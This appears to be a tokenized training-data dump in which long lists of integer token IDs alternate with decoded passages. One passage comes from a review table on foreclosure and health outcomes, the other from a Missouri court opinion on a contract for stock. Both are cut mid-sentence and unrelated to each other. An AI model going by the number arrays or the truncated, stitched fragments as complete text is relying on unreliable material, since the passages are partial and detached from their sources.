50254, 50254, 50254, 50254, 50270, 29277, 2702, 90, 1234, 16948, 15842, 15407, 13, 8039, 36023, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50270, 11432, 27909, 8984, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50270, 14566, 247, 6120, 273, 2201, 27909, 8984, 574, 10126, 1534, 12485, 342, 8039, 36023, 313, 34, 1372, 13, 374, 15, 2222, 13, 367, 4713, 17, 15, 2874, 10, 285, 8039, 29216, 420, 12748, 313, 34, 1372, 13, 374, 15, 805, 13, 367, 4713, 17, 15, 2874, 10, 187, 50276, 41, 276, 282, 1254, 2041, 15, 39154, 20700, 15, 709, 46838, 1184, 50254, 50254, 50254, 50254, 50262, 50274, 50276, 8603, 283, 883, 50254, 50266, 8057, 13315, 1783, 273, 7970, 2060, 14, 5251, 941, 7939, 281, 374, 13, 19490, 21813, 275, 253, 530, 15, 52, 15, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50275, 1845, 21716, 273, 37832, 2961, 8039, 5085, 275, 667, 3924, 273, 253, 36023, 1232, 285, 8394, 326, 403, 1524, 14, 383, 366, 9633, 50254, 50254, 50254, 50254, 50254, 50263, 209, 19757, 14, 4835, 2557, 273, 6255, 1786, 27, 346, 424, 53, 424, 73, 10274, 670, 634, 6255, 1786, 13, 534, 3797, 4073, 13, 9454, 285, 3237, 342, 14021, 13, 323, 849, 1142, 1897, 1309, 253, 2469, 1884, 1897, 369, 634, 6255, 1786, 417, 1175, 865, 3, 50254, 50254, 50270, 50276, 11837, 470, 15, 520, 2572, 275, 253, 8394, 273, 1524, 14, 383, 366, 9633, 3607, 369, 2330, 342, 247, 470, 15, 39425, 2572, 275, 253, 1180, 273, 4105, 6255, 1786, 1897, 13, 342, 10046, 12485, 2540, 275, 21813, 342, 253, 4585, 22260, 273, 8118, 7108, 187, 50276, 41, 276, 282, 285, 10315, 1254, 2041, 15, 39154, 20700, 15, 709, 12058, 1184, 50254, 50254, 50254, 50254, 50266, 9204, 283, 740, 50254, 50266, 8057, 13315, 1783, 273, 7970, 941, 432, 512, 2456, 3054, 285, 5041, 13, 399, 15, 36, 15, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50262, 1294, 21716, 273, 37832, 2961, 8039, 5085, 275, 667, 3924, 273, 253, 36023, 1232, 285, 8394, 326, 403, 1524, 14, 383, 366, 9633, 50254, 50254, 50254, 50254, 50254, 50263, 209, 11362, 14, 23811, 13184, 2281, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50270, 5815, 470, 15, 520, 2572, 275, 253, 8394, 273, 2273, 13784, 285, 1524, 14, 383, 366, 9633, 3607, 369, 2330, 342, 247, 470, 15, 2125, 283, 17, 15, 1036, 2572, 275, 253, 1561, 14, 3409, 13184, 2281, 13, 342, 253, 954, 17088, 12485, 2190, 253, 4766, 14, 2961, 285, 2822, 14, 293, 491, 314, 187, 50276, 9499, 1751, 285, 11651, 1254, 2041, 15, 39154, 20700, 15, 709, 15960, 1184, 50254, 50254, 50254, 50254, 50272, 4050, 283, 1012, 50254, 50266, 24486, 6716, 12888, 342, 3349, 7747, 3811, 275, 247, 10585, 10598, 20558, 25489, 530, 15, 52, 15, 2846, 13, 665, 497, 18492, 15842, 7372, 50254, 50254, 50254, 50254, 50254, 50254, 50262, 427, 16, 34, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50266, 427, 16, 34, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50272, 28897, 1786, 285, 440, 386, 4671, 456, 3739, 14874, 497, 247, 1846, 10014, 39544, 275, 1142, 12888, 28, 841, 45482, 15842, 7372, 275, 253, 3634, 273, 28304, 3367, 285, 1345, 5252, 37507, 326, 812, 417, 320, 15494, 2220, 281, 6391, 1411, 253, 10021, 2538, 273, 9749, 187, 50276, 11773, 45, 44750, 285, 11651, 1254, 2041, 15, 39154, 20700, 15, 709, 44527, 1184, 50254, 50254, 50254, 50254, 50276, 8012, 283, 740, 50254, 50266, 46820, 430, 273, 337, 13, 48793, 12687, 1523, 8118, 14, 7878, 5014, 275, 253, 530, 15, 52, 15, 17372, 3532, 39895, 4775, 12602, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50266, 18139, 1482, 273, 1728, 13929, 12426, 407, 247, 29870, 1955, 281, 1327, 14, 26360, 1561, 253, 2045, 767, 1107, 50254, 50254, 50254, 50254, 50254, 50254, 50260, 23875, 431, 3056, 273, 2201, 27909, 8984, 313, 6663, 50, 14, 26, 10, 285, 5917, 273, 14923, 10397, 8984, 313, 24, 14, 4835, 14923, 10397, 8984, 4311, 10, 50254, 50254, 50254, 50254, 50254, 50258, 18139, 1482, 273, 36023, 275, 253, 2045, 767, 1107, 574, 10126, 1534, 12485, 342, 5917, 273, 2201, 27909, 8984, 313, 1763, 1435, 2281, 4313, 905, 3027, 51, 5290, 374, 15, 21, 28, 5325, 6, 7309, 13, 337, 15, 3046, 283, 20, 15, 1540, 10, 285, 14923, 10397, 8984, 313, 3027, 51, 13, 337, 15, 26, 28, 5325, 6, 7309, 13, 337, 15, 1812, 283, 19, 15, 3763, 10, 187, 50276, 46, 12586, 293, 285, 11651, 1254, 2041, 15, 39154, 20700, 15, 709, 41280, 1184, 50254, 50254, 50254, 50254, 50272, 9204, 283, 2904, 50254, 50266, 8057, 13315, 1783, 273, 941, 5728, 432, 1363, 342, 581, 273, 2030, 10401, 14, 4919, 2390, 19439, 432, 1327, 14, 49299, 13240, 275, 15319, 3928, 13, 23050, 50254, 50254, 50254, 50254, 50254, 50270, 8256, 4860, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50276, 25977, 273, 48246, 342, 247, 8624, 6120, 273, 27842, 390, 27909, 8984, 13, 4469, 347, 247, 7155, 273, 512, 48246, 50254, 50254, 50254, 50254, 50254, 50254, 50272, 510, 2281, 273, 27842, 390, 27909, 8984, 48246, 2559, 275, 5215, 13, 10891, 2821, 342, 253, 2572, 275, 36023, 48174, 2540, 23931, 15, 187, 50276, 46, 335, 571, 285, 11651, 1254, 2041, 15, 39154, 20700, 15, 709, 37684, 5413, 1503, 358, 410, 285, 11651, 1254, 2041, 15, 39154, 20700, 15, 709, 36539, 5413, 21741, 285, 11651, 1254, 2041, 15, 39154, 20700, 15, 709, 39289, 1184, 50275, 7857, 283, 740, 50254, 50266, 10547, 14, 20382, 6630, 273, 608, 13, 31110, 6782, 5014, 275, 253, 530, 15, 52, 15, 3313, 38376, 17136, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50272, 28622, 273, 8039, 13, 2057, 9633, 390, 33437, 13, 875, 4695, 285, 253, 3522, 273, 253, 4572, 50254, 50254, 50254, 50254, 50254, 50254, 50254, 50274, 20579, 11634, 4294, 7665, 4644, 13, 37863, 1255, 327, 247, 13056, 390, 625, 10879, 3720, 13, 2793, 273, 374, 12, 4016, 9099, 2905, 281, 10678, 13, 285, 7665, 10096, 50254, 50254, 50254, 50254, 50270, 50276, 28706, 2957, 574, 247, 10126, 1534, 2762, 5864, 342, 4016, 10678, 9099, 313, 34, 1372, 13, 898, 15, 3583, 28, 5325, 6, 7309, 13, 495, 15, 2090, 283, 1348, 15, 23, 10, 285, 7665, 10096, 313, 34, 1372, 13, 608, 15, 4590, 28, 5325, 6, 7309, 13, 374, 15, 2922, 283, 1166, 15, 17, 10, 285, 247, 3635, 5864, 342, 7665, 4644, 285, 13056, 37863, 1255, 187, 50276, 47, 3592, 10747, 285, 7634, 8111, 1254, 2041, 15, 39154, 20700, 15, 709, 41345, 1092, 1008, 2041, 15, 39154, 20700, 15, 709, 43771, 1184, 50254, 50254, 50254, 50272, 11496, 50254, 245 ]	5--8.5) Currie and Tekin \[[@pone.0123182.ref086]\] 2005--09 Longitudinal analysis of quarterly data from 3,525 zip codes in Arizona, California, Florida, and New Jersey Rate of foreclosures (housing units that received a notice of trustee sale and/or notice of foreclosure sale) and volume of real-estate owned properties in the previous quarter Rates of emergency department (ED) visits and inpatient hospitalizations (in the aggregate as well as those associated with prevention quality indicators) In regression models with county, quarter, and year fixed effects, 100 additional foreclosures are associated with a 1.2 percent increase in ED visits and hospitalizations, a 4.9--6.7 percent increase in preventable hospitalizations among the non-elderly, a 12.0--18.8 percent increase in ED visits or hospitalizations related to anxiety, a 38.5--41.7 percent increase in ED visits or hospitalizations for suicide attempts Ertl \[[@pone.0123182.ref087]\] 2011 [\](#t001fn001){ref-type="table-fn"} Qualitative interviews with six adolescents and four primary caregivers in Massachusetts whose families had experienced foreclosure within the previous five years N/A N/A Worry, self-blame, and sadness were themes commonly voiced by study participants, less so among the adolescents compared to their caregivers Fields and colleagues \[[@pone.0123182.ref031]\], Libman and colleagues \[[@pone.0123182.ref032]\] 2006 Nine focus-group and two individual interviews with 88 homeowners in New York City, New York; St. Louis, Missouri; Hamilton, Ohio; Duluth, Georgia; and Waco, Texas who had sought foreclosure intervention services or who had missed payments on an outstanding loan N/A N/A Stress, anxiety, and depression were common themes discussed in all focus-group interviews Fowler and colleagues \[[@pone.0123182.ref088]\] 2005--10 Analysis of all 929 eviction- or foreclosure-related suicides documented in 16 states participating in the National Violent Death Reporting System Loss of housing or impending loss of housing, identified on the basis of key words such as "evicted," "sheriff sale or warrant of removal," "foreclosure," or "lost house or home" Suicide The number of suicides related to eviction or foreclosure increased from 88 in 2005 to 176 in 2010 Freeman and colleagues \[[@pone.0123182.ref089]\] 2008 [\](#t001fn001){ref-type="table-fn"} Cross-sectional survey of a stratified random sample of 3,000 farm households in Iowa, with a 45% response rate Foreclosure on a mortgage or loan Stress rating, on a scale from 0--100 Foreclosure on a mortgage or loan was ranked as the fifth most stressful life event (mean score, 72.7), behind death of a spouse/child and disabling injury to self/family Frioux and colleagues \[[@pone.0123182.ref090]\] 2000--10 Longitudinal analysis of annual data from 67 counties in Pennsylvania Rate of foreclosures Count of child maltreatment reports investigated by county child protective services (CPS), and count of substantiated cases of child maltreatment A 1 percentage point increase in the foreclosure rate was associated with a 3.9 percent increase in CPS investigations (P = 0.04) and a 4.5 percent increase in substantiated cases (P = 0.01) Gili and colleagues \[[@pone.0123182.ref091]\] 2010--11 Cross-sectional survey of 5,876 persons seen in primary care visits throughout Spain Difficulty repaying mortgage loans, housing foreclosure Major depressive disorder Having a diagnosis of major depressive disorder had statistically significant associations with housing foreclosure (AOR, 2.95, P\<0.001) and housing repayment difficulties (AOR, 2.12, P\<0.001) Houle \[[@pone.0123182.ref092]\] 2006--11 Longitudinal analysis of annual individual-level data linked to 2,245 counties in the U.S. Proportion of mortgaged housing units in any stage of the foreclosure process and proportion that are real-estate owned Single-item measure of mental health: "Thinking about your mental health, which includes stress, depression and problems with emotions, for how many days during the past 30 days was your mental health not good?"" Each 0.01 increase in the proportion of real-estate owned properties was associated with a 0.066 increase in the number of poor mental health days, with stronger associations observed in counties with the highest proportions of African Americans Houle and Light \[[@pone.0123182.ref018]\] 2005--10 Longitudinal analysis of annual data from all 50 states and Washington, D.C. Proportion of mortgaged housing units in any stage of the foreclosure process and proportion that are real-estate owned Age-adjusted suicide rate Each 0.01 increase in the proportion of foreclosed and real-estate owned properties was associated with a 0.04--0.16 increase in the within-state suicide rate, with the most pronounced associations among the middle-aged and near-elderly Keene and colleagues \[[@pone.0123182.ref030]\] 2012--13 Qualitative interviews with 28 adults living in a pseudonymous northeastern U.S. city, who were experiencing mortgage strain N/A N/A Poor health and unanticipated medical bills were a common theme voiced in many interviews; these exacerbated mortgage strain in the context of fragile personal and public safety nets that could not be relied upon to buffer against the adverse effects of illness McLaughlin and colleagues \[[@pone.0123182.ref093]\] 2008--10 Cohort of 1,547 predominately African-American participants in the U.S. Detroit Neighborhood Health Study Experience of home repossession by a creditor due to non-payment within the previous two years Symptoms of major depressive disorder (PHQ-9) and symptoms of generalized anxiety disorder (7-item generalized anxiety disorder scale) Experience of foreclosure in the previous two years had statistically significant associations with symptoms of major depressive disorder (incidence rate ratio \[IRR\], 2.4; 95% CI, 1.59--3.64) and generalized anxiety disorder (IRR, 1.9; 95% CI, 1.36--2.62) Menzel and colleagues \[[@pone.0123182.ref094]\] 2005--08 Longitudinal analysis of data collected from patients with one of 25 diagnostic-related groups discharged from non-federal hospitals in Clark County, Nevada None indicated Rate of discharges with a principal diagnosis of bipolar or depressive disorder, expressed as a percentage of all discharges The rate of bipolar or depressive disorder discharges increased in 2007, coinciding with the increase in foreclosure filings observed nationwide. Mulia and colleagues \[[@pone.0123182.ref095]\], Zemore and colleagues \[[@pone.0123182.ref096]\], Murphy and colleagues \[[@pone.0123182.ref097]\] 2009--10 Cross-sectional survey of 5,382 adult participants in the U.S. National Alcohol Survey Loss of housing, either owned or rented, between 2008 and the date of the interview Graduated frequency alcohol volume, drunkenness on a monthly or more frequent basis, experience of 2+ negative consequences related to drinking, and alcohol dependence Housing loss had a statistically significant positive association with negative drinking consequences (AOR, 9.52; 95% CI, 3.69--24.6) and alcohol dependence (AOR, 5.93; 95% CI, 2.07--17.0) and a null association with alcohol volume and monthly drunkenness Nettleton and Burrows \[[@pone.0123182.ref098], [@pone.0123182.ref099]\] 1998
[ 13, 369, 326, 344, 369, 281, 1705, 281, 789, 323, 3257, 285, 4763, 253, 1072, 16268, 253, 416, 267, 5493, 2567, 369, 10054, 779, 285, 247, 6832, 1600, 275, 3257, 2567, 15, 6043, 627, 20026, 5966, 2220, 253, 3045, 273, 521, 14904, 407, 4933, 598, 521, 1899, 342, 253, 416, 267, 5493, 2567, 285, 2444, 323, 3257, 15, 6043, 434, 3045, 273, 3238, 19419, 247, 1175, 8180, 285, 369, 253, 7830, 5821, 2220, 323, 253, 5739, 2556, 281, 3482, 15, 657, 462, 15766, 362, 15, 367, 3204, 13, 22750, 6956, 15, 608, 3680, 13, 13062, 322, 15, 56, 15, 2233, 18, 13, 2233, 22, 28, 473, 1344, 5945, 362, 15, 15551, 961, 13, 29117, 6956, 15, 12472, 22, 13, 30717, 322, 15, 411, 15, 45370, 13, 48726, 60, 20, 1570, 6166, 3482, 434, 1859, 273, 253, 1941, 352, 369, 247, 4984, 1953, 1880, 627, 574, 644, 3045, 407, 3482, 285, 247, 8981, 407, 3257, 273, 824, 3045, 347, 7429, 3482, 281, 253, 5739, 15, 31529, 91, 362, 15, 353, 4801, 13, 27587, 6956, 15, 2946, 15, 27744, 13, 35145, 322, 15, 56, 15, 8978, 13, 9901, 15, 380, 6645, 1057, 417, 31423, 247, 7355, 15, 187, 25187, 12148, 3482, 23460, 253, 3430, 3128, 13, 1666, 272, 253, 16422, 327, 253, 897, 273, 253, 3367, 43980, 407, 3196, 15, 775, 10273, 656, 1665, 28, 891, 15, 299, 904, 326, 346, 248, 3, 651, 2075, 253, 1072, 16268, 347, 253, 416, 267, 5493, 2567, 285, 346, 248, 3, 651, 9212, 281, 3482, 247, 6832, 2408, 273, 253, 775, 10273, 656, 1665, 21171, 6487, 5739, 15, 8167, 2567, 574, 271, 14047, 5347, 273, 370, 18, 13, 933, 13, 933, 13, 27007, 407, 884, 13, 933, 10764, 273, 5739, 14047, 285, 16383, 13, 273, 534, 13, 347, 4767, 275, 3257, 434, 4864, 13, 818, 13, 9519, 497, 9633, 407, 3196, 15, 775, 10273, 656, 1665, 285, 374, 13, 2313, 497, 9633, 407, 521, 4475, 13, 346, 4064, 534, 23768, 273, 5739, 812, 452, 644, 1160, 449, 330, 15, 329, 15, 7099, 570, 413, 760, 2918, 521, 14204, 323, 7783, 10764, 273, 3257, 434, 5739, 1048, 2217, 281, 346, 423, 10245, 352, 281, 253, 2567, 449, 380, 1072, 4112, 13164, 342, 1675, 281, 253, 7783, 10764, 6306, 275, 253, 1416, 273, 330, 15, 444, 15, 367, 453, 36271, 15, 5767, 378, 41748, 348, 6968, 434, 6206, 6492, 703, 369, 417, 253, 7302, 273, 253, 2456, 10764, 6306, 275, 617, 1416, 15, 831, 8553, 323, 898, 13, 14744, 273, 253, 884, 13, 933, 10764, 273, 5739, 15, 380, 9526, 273, 253, 3257, 2567, 7859, 326, 3196, 15, 775, 10273, 656, 1665, 369, 253, 7302, 273, 512, 253, 16383, 5739, 327, 4565, 1249, 13, 26916, 13, 672, 253, 1390, 273, 253, 884, 13, 933, 10764, 497, 6808, 15, 380, 1924, 310, 281, 253, 1055, 326, 3196, 15, 775, 10273, 656, 1665, 15726, 253, 5739, 347, 344, 6799, 285, 369, 253, 775, 10273, 656, 1665, 21171, 6487, 15, 754, 13, 347, 775, 10273, 656, 1665, 21171, 6487, 13, 285, 417, 11697, 13, 7091, 3482, 15, 380, 775, 10273, 656, 1665, 21171, 6487, 5087, 3482, 434, 16268, 13, 3482, 434, 40164, 13, 285, 3482, 434, 370, 22330, 346, 69, 1741, 423, 3, 2451, 15, 380, 4676, 7192, 285, 407, 616, 6993, 4127, 253, 3310, 347, 247, 3310, 875, 3482, 285, 253, 775, 10273, 656, 1665, 21171, 6487, 15, 346, 510, 9058, 273, 6265, 310, 281, 39954, 347, 4865, 327, 253, 13739, 6993, 390, 12712, 327, 697, 11136, 407, 247, 1436, 390, 7732, 37695, 512, 390, 18236, 512, 253, 5739, 13, 1014, 2167, 627, 310, 247, 3480, 273, 13, 390, 7071, 275, 13, 690, 10459, 3213, 390, 2250, 449, 655, 330, 15, 43, 15, 52, 904, 9697, 569, 13, 3015, 2233, 21, 13, 7211, 6931, 13, 3387, 13, 3239, 45413, 15, 2594, 671, 4031, 904, 3015, 2233, 18, 13, 7211, 11487, 14, 2270, 13, 3239, 39515, 13, 3015, 2233, 19, 15, 844, 1158, 3482, 812, 25457, 253, 3257, 2567, 15, 187, 19056, 2789, 253, 1127, 275, 521, 4864, 326, 3257, 369, 32046, 1882, 281, 13292, 326, 344, 369, 7429, 281, 7783, 10764, 273, 253, 775, 10273, 656, 1665, 21171, 6487, 5739, 15, 6043, 858, 417, 19494, 31658, 285, 359, 1158, 253, 5441, 273, 1924, 403, 417, 4209, 281, 22073, 253, 12791, 273, 31658, 342, 1675, 281, 253, 7783, 10764, 273, 5739, 15, 411, 3920, 362, 15, 8757, 13, 36153, 6956, 15, 898, 2941, 13, 12035, 322, 15, 56, 15, 19, 69, 26879, 13, 27648, 60, 23, 13, 854, 2194, 2418, 385, 774, 15, 3228, 273, 322, 1479, 25103, 362, 15, 5259, 6631, 11293, 904, 34128, 6956, 15, 898, 2227, 13, 11487, 322, 15, 56, 15, 19, 69, 12446, 13, 13278, 60, 19, 2194, 5238, 42400, 15, 39703, 416, 15155, 24344, 13, 657, 15, 34, 15, 46, 15, 52, 15, 187, 510, 747, 2332, 369, 11941, 323, 2228, 275, 4933, 3482, 434, 767, 11844, 25091, 7997, 285, 323, 417, 10568, 3482, 281, 1516, 875, 521, 9372, 327, 9436, 285, 323, 13770, 273, 3310, 15, 844, 452, 2783, 3482, 1160, 247, 749, 13038, 1083, 327, 13770, 273, 3310, 15, 187, 19056, 434, 9775, 1621, 15, 3719, 20311, 2220, 253, 3762, 344, 369, 253, 346, 32816, 7302, 3, 273, 253, 5739, 3206, 13, 285, 344, 24631, 8757, 362, 15, 17363, 12436, 13, 6956, 15, 23291, 904, 1052, 322, 15, 56, 15, 884, 1857, 13, 884, 2537, 60, 18, 14, 740, 1092, 323, 29315, 247, 7355, 327, 9436, 15, 380, 5266, 275, 253, 8757, 8, 1083, 369, 275, 581, 1385, 13, 31283, 275, 9436, 15, 496, 326, 1083, 253, 37218, 273, 3690, 24993, 318, 4907, 8757, 347, 253, 7302, 273, 7783, 10764, 273, 253, 10459, 5739, 13, 285, 497, 6704, 407, 779, 285, 253, 643, 6220, 2392, 15, 380, 1302, 4767, 13, 1052, 322, 15, 56, 15, 1150, 15, 4851, 15, 884, 1235, 13, 253, 37218, 273, 3690, 24993, 318, 475, 35216, 346, 585, 23572, 253, 4320, 4060, 273, 1016, 544, 1763, 24993, 1080, 62, 281, 253, 1180, 273, 10764, 4767, 475, 475, 475, 449, 1244, 27, 346, 510, 3310, 273, 24319, 310, 1195, 2003, 614, 13, 253, 5739, 12975, 33732, 875, 3746, 347, 281, 616, 6284, 475, 475, 475, 449, 8757, 574, 253, 4320, 4060, 281, 253, 10764, 3206, 15, 187, 510, 2250, 273, 6727, 332, 13, 390, 6727, 332, 285, 9436, 13, 14993, 347, 8540, 253, 1318, 273, 2173, 3367, 2867, 273, 3482, 534, 556, 644, 11516, 407, 3257, 281, 521, 1211, 897, 15, 1916, 6558, 6727, 332, 13, 352, 556, 644, 2783, 326, 3482, 1364, 452, 4060, 281, 13, 390, 247, 987, 273, 2867, 275, 285, 247, 987, 281, 253, 8993, 10023, 273, 13, 253, 5739, 387, 253, 673, 273, 9436, 13, 285, 36823, 9088, 1364, 320, 271, 11492, 273, 247, 4320, 13, 347, 10435, 382, 33025, 432, 271, 23720, 987, 18574, 1903, 38711, 13, 20859, 9697, 569, 13, 268, 15, 21300, 13, 3015, 608, 13391, 13, 48257, 15, 10694, 13, 10508, 28, 11957, 2083, 4011, 91, 362, 15, 322, 680, 567, 636, 29906, 15, 32418, 7088, 84, 2434, 904, 20105, 6956, 15, 43111, 13, 40355, 13, 6879, 322, 15, 56, 15, 38848, 13, 39881, 13, 10694, 3052, 15, 659, 15, 6802, 15, 45370, 15, 346, 1145, 23720, 4060, 390, 987, 588, 417, 36433, 323, 253, 9363, 273, 6727, 332, 13, 390, 387, 1878, 352, 3815, 310, 417, 4209, 449, 7251, 330, 15, 43, 15, 3925, 13, 3015, 11107, 13, 48257, 15, 3436, 13, 3435, 15, 2594, 671, 8676, 3052, 15, 49864, 15, 854, 2090, 13, 3015, 11087, 13, 295, 15, 884, 28, 35403, 362, 15, 21988, 386, 587, 10215, 2434, 904, 24665, 6956, 15, 38880, 13, 38848, 9, 19, 582, 11003, 322, 15, 56, 15, 721, 13, 1903, 9, 19, 558, 5874, 31299, 362, 15, 29056, 1216, 13, 22287, 6956, 15, 2946, 15, 47319, 13, 36918, 13, 15410, 322, 15, 56, 15, 898, 2405, 13, 898, 1237, 28, 418, 6968, 8420, 362, 15, 48297, 832, 254, 13, 6956, 15, 2946, 904, 21669, 322, 15, 56, 15, 374, 69, 884, 2055, 13, 884, 2270, 15, 187, 2512, 310, 642, 4645, 273, 1924, 326, 3482, 2455, 2918, 4320, 4060, 281, 7783, 10764, 273, 3257, 13739, 5739, 28, 285, 8757, 362, 15, 17363, 12436, 13, 9253, 13, 1057, 417, 5100, 2228, 275, 4602, 342, 253, 10362, 327, 253, 3200, 323, 747, 2332, 342, 1675, 281, 253, 1385, 323, 9436, 15, 187, 19056, 3054, 521, 9775, 2063, 30782, 247, 7355, 323, 247, 13770, 273, 3310, 6283, 8884, 253, 1569, 13, 19936, 8757, 362, 15, 17363, 12436, 13, 9253, 13, 285, 1903, 38711, 13, 20859, 9697, 569, 13, 35591, 13, 3015, 608, 15429, 13, 48257, 15, 10523, 14, 1438, 13, 285, 23094, 13, 3015, 608, 12231, 15, 8757, 362, 15, 17363, 12436, 369, 323, 9436, 13, 347, 1840, 4767, 13, 285, 858, 417, 4086, 271, 9775, 29315, 247, 13770, 273, 3310, 15, 380, 2505, 10414, 275, 38711, 403, 281, 253, 1055, 326, 581, 1907, 4060, 281, 5739, 778, 25457, 275, 9436, 285, 2319, 521, 2557, 273, 8540, 13, 2975, 15, 2053, 9061, 513, 417, 17611, 326, 253, 1302, 14416, 275, 41076, 247, 747, 2332, 323, 253, 4933, 273, 3482, 434, 753, 9775, 15, 187, 510, 9775, 9262, 1142, 5441, 15, 733, 3407, 407, 1563, 253, 1273, 1385, 273, 253, 5266, 275, 10568, 247, 4560, 326, 3482, 285, 3257, 5966, 715, 247, 3310, 323, 3482, 434, 3238, 28, 326, 3482, 2684, 285, 13697, 346, 1208, 8584, 3238, 3, 281, 3257, 28, 326, 3257, 23274, 3482, 7783, 10764, 273, 5739, 369, 1146, 7922, 281, 779, 28, 326, 3482, 369, 1996, 19439, 346, 14920, 5272, 2847, 3664, 326, 2176, 3081, 5441, 273, 271, 26800, 3753, 5866, 13, 824, 347, 253, 7830, 281, 3482, 273, 247, 43690, 273, 370, 22330, 13, 346, 11952, 247, 608, 6, 43690, 327, 753, 5739, 937, 253, 346, 26357, 43690, 369, 38597, 8884, 937, 253, 9610, 273, 753, 43690, 281, 253, 1986, 2077, 285, 253, 2418, 273, 16301, 13, 346, 395, 326, 753, 7830, 369, 247, 43690, 327, 753, 5739, 5087, 407, 253, 3257, 281, 3482, 347, 247, 5739, 11375, 13, 840, 368, 778, 1089, 326, 3482, 310, 7429, 281, 9295, 253, 1318, 273, 253, 5739, 3, 1162, 260, 1715, 66, 15, 187, 20576, 273, 1563, 253, 1385, 323, 247, 13770, 273, 3310, 342, 253, 11307, 27855, 281, 247, 9436, 16737, 39065, 13, 253, 9775, 764, 272, 1070, 247, 1750, 275, 3310, 342, 581, 275, 9436, 15, 733, 8025, 253, 5575, 43690, 369, 5087, 281, 3482, 346, 284, 247, 5739, 11375, 449, 21108, 253, 11844, 275, 1708, 273, 253, 7997, 327, 253, 4858, 9372, 13, 253, 11844, 4620, 281, 320, 16706, 275, 326, 327, 253, 9436, 1385, 253, 4984, 1119, 3482, 369, 417, 253, 7302, 273, 253, 5739, 1223, 762, 253, 41066, 273, 253, 9775, 327, 253, 13770, 273, 3310, 1385, 253, 4984, 2783, 3482, 369, 253, 7302, 273, 253, 5739, 15, 24999, 362, 15, 35122, 13, 24519, 6956, 15, 2946, 15, 721, 3677, 13, 28131, 322, 15, 56, 15, 27623, 13, 36477, 60, 18, 2194, 5791, 659, 15, 7406, 39339, 17226, 2434, 15, 362, 15, 8229, 5338, 29906, 15, 353, 16054, 15, 2434, 904, 854, 4082, 904, 29503, 401, 15, 40359, 13, 40657, 60, 18, 1570, 27560, 3349, 330, 15, 43, 15, 52, 904, 29686, 273, 6235, 264, 447, 13, 3015, 608, 13, 3239, 884, 2090, 28, 1283, 3052, 15, 49864, 15, 22761, 13, 3015, 7127, 28, 1903, 38711, 13, 20859, 9697, 569, 13, 34509, 13, 3015, 608, 15429, 13, 295, 15, 11439, 28, 337, 330, 15, 43, 15, 52, 904, 47483, 13, 3015, 8319, 13, 3877, 3349, 13, 3239, 11601, 24, 15, 743, 5667, 3284, 273, 3482, 434, 1750, 323, 247, 13770, 273, 3310, 369, 326, 13, 672, 3257, 23274, 3482, 7783, 10764, 273, 5739, 369, 1146, 7922, 281, 779, 13, 824, 2250, 369, 253, 2403, 273, 3257, 434, 26474, 922, 44245, 9023, 247, 19040, 285, 2176, 475, 23, 1540, 9023, 762, 253, 3310, 15, 380, 4560, 273, 436, 958, 943, 320, 2424, 275, 8342, 3448, 15, 5376, 6477, 943, 417, 5467, 390, 10466, 314, 5467, 253, 6242, 273, 25147, 5667, 5441, 15, 4051, 12290, 362, 15, 416, 21992, 7003, 13, 27587, 6956, 15, 12660, 13, 24876, 9, 42, 582, 7346, 322, 15, 56, 15, 337, 13, 854, 13, 898, 13, 3307, 418, 15, 51, 15, 34, 904, 47, 15, 52, 904, 884, 1857, 28, 11276, 362, 15, 15391, 3228, 13 ]	, was that he was to come to work for defendant and receive the same salary the Ralston company was paying him and a substantial interest in defendant company. Plaintiff thereupon entered upon the performance of his obligation by giving up his position with the Ralston company and working for defendant. Plaintiff's performance of services constituted a good consideration and was the payment agreed upon for the stock according to plaintiff. Vogeler v. Punch, 205 Mo. 558, 103 S.W. 1001, 1005; Ostrander v. Messmer, 315 Mo. 1165, 289 S. W. 609, 613[3]. Under plaintiff's view of the evidence it was a jury question whether there had been performance by plaintiff and a recognition by defendant of such performance as entitled plaintiff to the stock. Lorenz v. Morney, 221 Mo.App. 409, 282 S.W. 59, 61. The statute does not preclude a recovery. Defendant contends plaintiff sued the wrong party, basing the contention on the use of the personal pronoun by Dr. Chandeysson; i. e., that "he" would pay the same salary as the Ralston company and "he" would assign to plaintiff a substantial amount of the Chandeysson Electric Company stock. Defendant company had an authorized capital of $1,000,000, evidenced by 10,000 shares of stock authorized and outstanding, of which, as stated in defendant's brief, 7,250 were owned by Dr. Chandeysson and 2,100 were owned by his wife, "from which assignments of stock could have been made." C. A. Henneke only held his certificate for 150 shares of defendant's stock long enough to "endorse it to the company." The same situation existed with respect to the 150 shares standing in the name of C. E. Pfeiffer. Miss Bundschuh's testimony indicates she was not the owner of the 50 shares standing in her name. This accounts for 9,700 of the 10,000 shares of stock. The Secretary of the defendant company testified that Dr. Chandeysson was the owner of all the outstanding stock on December 12, 1933, when the last of the 10,000 shares were issued. The record is to the effect that Dr. Chandeysson handled the stock as he desired and was the Chandeysson Electric Company. He, as Chandeysson Electric Company, and not personally, employed plaintiff. The Chandeysson Electric Company paid plaintiff's salary, plaintiff's bonuses, and plaintiff's $750 "dividend" check. The parties understood and by their acts treated the contract as a contract between plaintiff and the Chandeysson Electric Company. "The trend of authority is to uphold as binding on the corporation acts or contracts on its behalf by a person or persons owning all or practically all the stock, even though there is a lack of, or defect in, some corporate step or action." 19 C.J.S., Corporations, § 1004, notes 39, 40, page 472. See also Id., § 1001, notes 82-90, page 467, § 1002. We think plaintiff could sue the defendant company. Plaintiff makes the point in his brief that defendant was estopped to deny that he was entitled to 150 shares of the Chandeysson Electric Company stock. Plaintiff did not plead estoppel and we think the facts of record are not sufficient to invoke the doctrine of estoppel with respect to the 150 shares of stock. Waugh v. Williams, 342 Mo. 903, 119 S.W.2d 223, 226[6, 8]; State ex rel. City of Sikeston v. Public Service Comm., 336 Mo. 985, 82 S.W.2d 105, 108[2]; Section 509.090 RMo 1949, V.A.M.S. The new trial was awarded for error in giving plaintiff's two verdict directing instructions and for not requiring plaintiff to elect between his counts on conversion and for breach of contract. We have considered plaintiff made a 